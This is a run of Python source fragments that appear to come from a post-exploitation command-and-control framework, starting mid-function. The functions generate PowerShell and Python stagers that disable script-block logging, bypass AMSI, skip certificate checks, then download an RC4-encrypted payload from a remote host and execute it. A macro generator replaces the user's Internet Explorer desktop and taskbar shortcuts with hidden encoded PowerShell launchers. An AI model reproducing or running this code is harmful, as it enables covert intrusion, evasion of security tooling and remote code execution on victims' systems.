\"+t);" launcherBase += "req.add_header(\"Dropbox-API-Arg\",'{\"path\":\"%s/debugpy\"}');\n" % (stagingFolder) if proxy.lower() != "none": if proxy.lower() == "default": launcherBase += "proxy = urllib2.ProxyHandler();\n" else: proto = proxy.Split(':')[0] launcherBase += "proxy = urllib2.ProxyHandler({'"+proto+"':'"+proxy+"'});\n" if proxyCreds != "none": if proxyCreds == "default": launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" else: launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "o = urllib2.build_opener();\n" #install proxy and creds globally, so they can be used with urlopen. launcherBase += "urllib2.install_opener(o);\n" launcherBase += "a=urllib2.urlopen(req).read();\n" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (launchEncoded) return launcher else: return launcherBase else: print helpers.color("[!] listeners/dbx generate_launcher(): invalid listener name specification!")
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', payloadRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color('[!] listeners/http_com generate_launcher(): no language specified!') if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] requestHeader = listenerOptions['RequestHeader']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) customHeaders = profile.split('|')[2:] if language.startswith('po'): # PowerShell payload = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': payload = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass payload += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(") payload += "'System.Management.Automation.Utils'" payload += helpers.randomize_capitalization(").\"GetFie`ld\"(") payload += "'cachedGroupPolicySettings','N'+'onPublic,Static'" payload += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") payload += "['ScriptB'+'lockLogging']" payload += helpers.randomize_capitalization("){$GPC") payload += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" payload += helpers.randomize_capitalization("$GPC") payload += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" payload += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add") payload += "('EnableScriptB'+'lockLogging',0);" payload += helpers.randomize_capitalization("$val.Add") payload += "('EnableScriptBlockInvocationLogging',0);" payload += helpers.randomize_capitalization("$GPC") payload += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" payload += helpers.randomize_capitalization("=$val}") payload += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(") payload += "'signatures','N'+'onPublic,Static'" payload += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}") # @mattifestation's AMSI bypass payload += helpers.randomize_capitalization("[Ref].Assembly.GetType(") payload += "'System.Management.Automation.AmsiUtils'" payload += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') payload += "'amsiInitFailed','NonPublic,Static'" payload += helpers.randomize_capitalization(").SetValue($null,$true)};") payload += "};" payload += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") # TODO: reimplement payload retries? #check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array payload += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") payload += "'%s');" % (stagingKey) # this is the minimized RC4 payload code from rc4.ps1 payload += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) payload += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;" payload += "$ser='%s';$t='%s';" % (host, stage0) # add the RC4 packet to a header location payload += "$c=\"%s: %s" % (requestHeader, b64RoutingPacket) #Add custom headers if any modifyHost = False if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] if headerKey.lower() == "host": modifyHost = True payload += "`r`n%s: %s" % (headerKey, headerValue) payload += "\";" #If host header defined, assume domain fronting is in use and add a call to the base URL first #this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello if modifyHost: payload += helpers.randomize_capitalization("$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};") payload += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);" payload += "while($ie.busy){Start-Sleep -Milliseconds 100};" payload += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" payload += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}" payload += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution payload += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: payload = helpers.obfuscate(self.mainMenu.installPath, payload, obfuscationCommand=obfuscationCommand) # base64 encode the payload and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(payload, launcher) else: # otherwise return the case-randomized payload return payload else: print helpers.color("[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.") else: print helpers.color("[!] listeners/http_com generate_launcher(): invalid listener name specification!")
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', payloadRetries='0', language=None, safeChecks='', listenerName=None): if not language: print helpers.color("[!] listeners/onedrive generate_launcher(): No language specified") if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): listener_options = self.mainMenu.listeners.activeListeners[listenerName]['options'] staging_key = listener_options['StagingKey']['Value'] profile = listener_options['DefaultProfile']['Value'] launcher_cmd = listener_options['Launcher']['Value'] staging_key = listener_options['StagingKey']['Value'] poll_interval = listener_options['PollInterval']['Value'] base_folder = listener_options['BaseFolder']['Value'].strip("/") staging_folder = listener_options['StagingFolder']['Value'] taskings_folder = listener_options['TaskingsFolder']['Value'] results_folder = listener_options['ResultsFolder']['Value'] if language.startswith("power"): launcher = "$ErrorActionPreference = 'SilentlyContinue';" #Set as empty string for debugging if safeChecks.lower() == 'true': launcher += helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass launcher += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(") launcher += "'System.Management.Automation.Utils'" launcher += helpers.randomize_capitalization(").'GetFie`ld'(") launcher += "'cachedGroupPolicySettings','N'+'onPublic,Static'" launcher += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") launcher += "['ScriptB'+'lockLogging']" launcher += helpers.randomize_capitalization("){$GPC") launcher += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" launcher += helpers.randomize_capitalization("$GPC") launcher += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" launcher += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add") launcher += "('EnableScriptB'+'lockLogging',0);" launcher += helpers.randomize_capitalization("$val.Add") launcher += "('EnableScriptBlockInvocationLogging',0);" launcher += helpers.randomize_capitalization("$GPC") launcher += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" launcher += helpers.randomize_capitalization("=$val}") launcher += helpers.randomize_capitalization("Else{[ScriptBlock].'GetFie`ld'(") launcher += "'signatures','N'+'onPublic,Static'" launcher += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}") # @mattifestation's AMSI bypass launcher += helpers.randomize_capitalization("[Ref].Assembly.GetType(") launcher += "'System.Management.Automation.AmsiUtils'" launcher += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') launcher += "'amsiInitFailed','NonPublic,Static'" launcher += helpers.randomize_capitalization(").SetValue($null,$true)};") launcher += "};" launcher += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") launcher += helpers.randomize_capitalization("$wc=New-Object SYstem.Net.WebClient;") if userAgent.lower() == 'default': profile = listener_options['DefaultProfile']['Value'] userAgent = profile.split("|")[1] launcher += "$u='" + userAgent + "';" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': launcher += helpers.randomize_capitalization("$wc.Headers.Add(") launcher += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': launcher += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: launcher += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;") launcher += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';") launcher += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: username = proxyCreds.split(":")[0] password = proxyCreds.split(":")[1] domain = username.split("\\")[0] usr = username.split("\\")[1] launcher += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');" launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") launcher += "$Script:Proxy = $wc.Proxy;" # code to turn the key string into a byte array launcher += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") launcher += ("'%s');" % staging_key) # this is the minimized RC4 launcher code from rc4.ps1 launcher += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') launcher += helpers.randomize_capitalization("$data=$wc.DownloadData('") launcher += self.mainMenu.listeners.activeListeners[listenerName]['payload_url'] launcher += helpers.randomize_capitalization("');$iv=$data[0..3];$data=$data[4..$data.length];") launcher += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: launcher = helpers.obfuscate(self.mainMenu.installPath, launcher, obfuscationCommand=obfuscationCommand) if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(launcher, launcher_cmd) else: return launcher if language.startswith("pyth"): print helpers.color("[!] listeners/onedrive generate_launcher(): Python agent not implimented yet") return "python not implimented yet" else: print helpers.color("[!] listeners/onedrive generate_launcher(): invalid listener name")
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): if not language: print helpers.color("[!] listeners/onedrive generate_launcher(): No language specified") if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): listener_options = self.mainMenu.listeners.activeListeners[listenerName]['options'] staging_key = listener_options['StagingKey']['Value'] profile = listener_options['DefaultProfile']['Value'] launcher_cmd = listener_options['Launcher']['Value'] staging_key = listener_options['StagingKey']['Value'] poll_interval = listener_options['PollInterval']['Value'] base_folder = listener_options['BaseFolder']['Value'].strip("/") staging_folder = listener_options['StagingFolder']['Value'] taskings_folder = listener_options['TaskingsFolder']['Value'] results_folder = listener_options['ResultsFolder']['Value'] if language.startswith("power"): launcher = "$ErrorActionPreference = 'SilentlyContinue';" #Set as empty string for debugging if safeChecks.lower() == 'true': launcher += helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass launcher += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(") launcher += "'System.Management.Automation.Utils'" launcher += helpers.randomize_capitalization(").'GetFie`ld'(") launcher += "'cachedGroupPolicySettings','N'+'onPublic,Static'" launcher += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") launcher += "['ScriptB'+'lockLogging']" launcher += helpers.randomize_capitalization("){$GPC") launcher += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" launcher += helpers.randomize_capitalization("$GPC") launcher += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" launcher += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add") launcher += "('EnableScriptB'+'lockLogging',0);" launcher += helpers.randomize_capitalization("$val.Add") launcher += "('EnableScriptBlockInvocationLogging',0);" launcher += helpers.randomize_capitalization("$GPC") launcher += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" launcher += helpers.randomize_capitalization("=$val}") launcher += helpers.randomize_capitalization("Else{[ScriptBlock].'GetFie`ld'(") launcher += "'signatures','N'+'onPublic,Static'" launcher += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}") # @mattifestation's AMSI bypass launcher += helpers.randomize_capitalization("[Ref].Assembly.GetType(") launcher += "'System.Management.Automation.AmsiUtils'" launcher += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') launcher += "'amsiInitFailed','NonPublic,Static'" launcher += helpers.randomize_capitalization(").SetValue($null,$true)};") launcher += "};" launcher += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") launcher += helpers.randomize_capitalization("$wc=New-Object SYstem.Net.WebClient;") if userAgent.lower() == 'default': profile = listener_options['DefaultProfile']['Value'] userAgent = profile.split("|")[1] launcher += "$u='" + userAgent + "';" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': launcher += helpers.randomize_capitalization("$wc.Headers.Add(") launcher += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': launcher += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: launcher += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;") launcher += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';") launcher += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: username = proxyCreds.split(":")[0] password = proxyCreds.split(":")[1] domain = username.split("\\")[0] usr = username.split("\\")[1] launcher += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');" launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") launcher += "$Script:Proxy = $wc.Proxy;" # code to turn the key string into a byte array launcher += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") launcher += ("'%s');" % staging_key) # this is the minimized RC4 launcher code from rc4.ps1 launcher += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') launcher += helpers.randomize_capitalization("$data=$wc.DownloadData('") launcher += self.mainMenu.listeners.activeListeners[listenerName]['stager_url'] launcher += helpers.randomize_capitalization("');$iv=$data[0..3];$data=$data[4..$data.length];") launcher += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: launcher = helpers.obfuscate(self.mainMenu.installPath, launcher, obfuscationCommand=obfuscationCommand) if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(launcher, launcher_cmd) else: return launcher if language.startswith("pyth"): print helpers.color("[!] listeners/onedrive generate_launcher(): Python agent not implimented yet") return "python not implimented yet" else: print helpers.color("[!] listeners/onedrive generate_launcher(): invalid listener name")
def generate(self): # extract all of our options language = self.options['Language']['Value'] listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] stagerRetries = self.options['StagerRetries']['Value'] lnkPath = self.options['LNKPath']['Value'] XmlPath = self.options['XmlUrl']['Value'] XmlOut = self.options['XmlOutFile']['Value'] regParts = XmlPath.split("\\") path = "\\".join(regParts[0:len(regParts)-1]) name = regParts[len(regParts)-1] # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) launcher = launcher.split(" ")[-1] if launcher == "": print helpers.color("[!] Error in launcher command generation.") return "" else: chunks = list(helpers.chunks(launcher, 50)) payload = "\tDim encRP As String\n" payload += "\tencRP = \"" + str(chunks[0]) + "\"\n" for chunk in chunks[1:]: payload += "\tencRP = encRP + \"" + str(chunk) + "\"\n" macro = "Sub Auto_Open()\n" macro += "\tOffice\n" macro += "End Sub\n\n" macro += "Public Function Office() As Variant\n" # macro += payload macro += "Dim myWS As Object, lnk as Object\n" macro += "Set myWS = CreateObject(\"Wscript.Shell\")\n" #set up first link - creates / replaces iexplore.lnk (display name iexplore) on users desktop if it sees it macro += "Set lnk = myWS.CreateShortcut(myWS.SPecialFolders(\"desktop\") & \"\\iexplore.lnk\")\n" launchString1 = "[System.Diagnostics.Process]::Start(\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\");$b = New-Object System.Xml.XmlDocument;$b.Load(\"" launchString2 = "\");[Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String($b.command.a.execute))|IEX\n" macro += "lnk.targetpath = \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe \"\n" launchString1 = helpers.randomize_capitalization(launchString1) launchString2 = helpers.randomize_capitalization(launchString2) launchString = launchString1 + XmlPath + launchString2 encLaunch = helpers.enc_powershell(launchString) macro += "lnk.arguments = \"-w hidden -nop -enc " + encLaunch + "\"\n" macro += "lnk.IconLocation = \"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\"\n" macro += "lnk.save\n" #2nd link here -- will overwite ie if it finds a file named 'Internet Explorer' in the taskbar menu macro += "Set lnk = myWS.CreateShortcut(Environ(\"AppData\") & \"\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk\")\n" macro += "lnk.targetpath = \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe \"\n" macro += "lnk.arguments = \"-w hidden -nop -enc " + encLaunch + "\"\n" macro += "lnk.IconLocation = \"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\"\n" macro += "lnk.save\n" macro += "End Function\n" #write XML to disk f = open(XmlOut,"w") f.write("<?xml version=\"1.0\"?>\n") f.write("<command>\n") f.write("\t<a>\n") f.write("\t<execute>"+launcher+"</execute>\n") f.write("\t</a>\n") f.write("</command>\n") return macro
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', payloadRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color( '[!] listeners/http_hop generate_launcher(): no language specified!' ) if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['RedirectStagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell payload = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': payload = helpers.randomize_capitalization( "If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass payload += helpers.randomize_capitalization( "$GPF=[ref].Assembly.GetType(") payload += "'System.Management.Automation.Utils'" payload += helpers.randomize_capitalization( ").\"GetFie`ld\"(") payload += "'cachedGroupPolicySettings','N'+'onPublic,Static'" payload += helpers.randomize_capitalization( ");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") payload += "['ScriptB'+'lockLogging']" payload += helpers.randomize_capitalization("){$GPC") payload += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" payload += helpers.randomize_capitalization("$GPC") payload += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" payload += helpers.randomize_capitalization( "$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add" ) payload += "('EnableScriptB'+'lockLogging',0);" payload += helpers.randomize_capitalization("$val.Add") payload += "('EnableScriptBlockInvocationLogging',0);" payload += helpers.randomize_capitalization("$GPC") payload += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" payload += helpers.randomize_capitalization("=$val}") payload += helpers.randomize_capitalization( "Else{[ScriptBlock].\"GetFie`ld\"(") payload += "'signatures','N'+'onPublic,Static'" payload += helpers.randomize_capitalization( ").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}" ) # @mattifestation's AMSI bypass payload += helpers.randomize_capitalization( "[Ref].Assembly.GetType(") payload += "'System.Management.Automation.AmsiUtils'" payload += helpers.randomize_capitalization( ')|?{$_}|%{$_.GetField(') payload += "'amsiInitFailed','NonPublic,Static'" payload += helpers.randomize_capitalization( ").SetValue($null,$true)};") payload += "};" payload += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) payload += helpers.randomize_capitalization( "$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': userAgent = profile.split('|')[1] payload += "$u='" + userAgent + "';" if 'https' in host: # allow for self-signed certificates for https connections payload += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': payload += helpers.randomize_capitalization( '$wc.Headers.Add(') payload += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': payload += helpers.randomize_capitalization( "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" ) else: # TODO: implement form for other proxy payload += helpers.randomize_capitalization( "$proxy=New-Object Net.WebProxy;") payload += helpers.randomize_capitalization( "$proxy.Address = '" + proxy.lower() + "';") payload += helpers.randomize_capitalization( "$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": payload += helpers.randomize_capitalization( "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" ) else: # TODO: implement form for other proxy credentials username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] domain = username.split('\\')[0] usr = username.split('\\')[1] payload += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');" payload += helpers.randomize_capitalization( "$wc.Proxy.Credentials = $netcred;") # TODO: reimplement payload retries? # code to turn the key string into a byte array payload += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") payload += "'%s');" % (stagingKey) # this is the minimized RC4 payload code from rc4.ps1 payload += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie payload += helpers.randomize_capitalization("$wc.Headers.Add(") payload += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket) payload += "$ser='%s';$t='%s';" % (host, stage0) payload += helpers.randomize_capitalization( "$data=$WC.DownloadData($ser+$t);") payload += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution payload += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: payload = helpers.obfuscate( self.mainMenu.installPath, payload, obfuscationCommand=obfuscationCommand) # base64 encode the payload and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(payload, launcher) else: # otherwise return the case-randomized payload return payload if language.startswith('py'): # Python launcherBase = 'import sys;' if 'https' in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stagger: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': userAgent = profile.split('|')[1] launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) launcherBase += "import urllib2\n" if proxy.lower() != "none": if proxy.lower() == "default": launcherBase += "proxy = urllib2.ProxyHandler();\n" else: proto = proxy.Split(':')[0] launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n" if proxyCreds != "none": if proxyCreds == "default": launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] launcherBase += "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" else: launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "o = urllib2.build_opener();\n" # add the RC4 packet to a cookie launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % ( b64RoutingPacket) #install proxy and creds globally, so they can be used with urlopen. launcherBase += "urllib2.install_opener(o);\n" # download the payload and extract the IV launcherBase += "a=o.open(server+t).read();" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | /usr/bin/python &" % ( launchEncoded) return launcher else: return launcherBase else: print helpers.color( "[!] listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) else: print helpers.color( "[!] listeners/http_hop generate_launcher(): invalid listener name specification!" )
